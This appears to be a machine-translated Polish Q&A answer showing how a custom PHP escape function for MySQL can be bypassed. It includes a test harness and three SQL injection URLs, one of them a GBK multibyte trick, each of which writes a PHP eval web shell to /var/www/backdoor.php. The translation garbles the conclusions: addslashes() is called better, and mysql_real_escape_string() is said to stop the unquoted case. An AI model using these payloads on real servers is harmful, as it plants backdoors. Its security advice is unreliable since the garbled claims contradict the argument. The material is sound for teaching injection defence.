Jeśli jesteś tylko zastąpienie '
z ''
możesz to wykorzystać, wstrzykując \'
który zmieni się w \''
a to pozwoli ci się wyrwać, ponieważ daje to „dosłowny znakowy” pojedynczy cytat i prawdziwy pojedynczy cytat. Jednak zastąpienie "\\"
z "\\\\"
neguje ten atak. Podwójny pojedynczy cudzysłów jest używany do „wymycia” pojedynczych cudzysłowów dla MS-SQL, ale nie jest to właściwe dla MySQL, ale może działać.
Następujące kody dowodzi że ta funkcja ucieczki jest bezpieczna dla wszystkich z wyjątkiem trzech warunków . Ten kod permutuje przez wszystkie możliwe odmiany kart kontrolnych i testuje każdy z nich, aby upewnić się, że nie wystąpi błąd w przypadku pojedynczej instrukcji SELECT w cudzysłowie. Ten kod został przetestowany na MySQL 5.1.41.
<?php
mysql_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>
Wrażliwy warunek 1:nie użyto cudzysłowów.
mysql_query("select username from users where id=".escape($_GET['id']));
Wykorzystanie:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
Wrażliwy warunek 2:użyto podwójnych cudzysłowów
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
Wykorzystanie:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Wrażliwy warunek 2:używane są pojedyncze cudzysłowy, jednak używany jest alternatywny zestaw znaków. .
mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");
Wykorzystanie:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Wniosek jest taki, aby zawsze używać mysql_real_escape_string()
jako procedura ucieczki dla MySQL. Sparametryzowane biblioteki zapytań, takie jak pdo i adodb, zawsze używają mysql_real_escape_string()
po połączeniu z bazą danych mysql. addslashes()
jest ZNACZNIE LEPSZE procedury ucieczki, ponieważ zajmuje się podatnym warunkiem 2. Należy zauważyć, że nawet mysql_real_escape_string()
zatrzyma warunek 1, jednak sparametryzowana biblioteka zapytań to zrobi.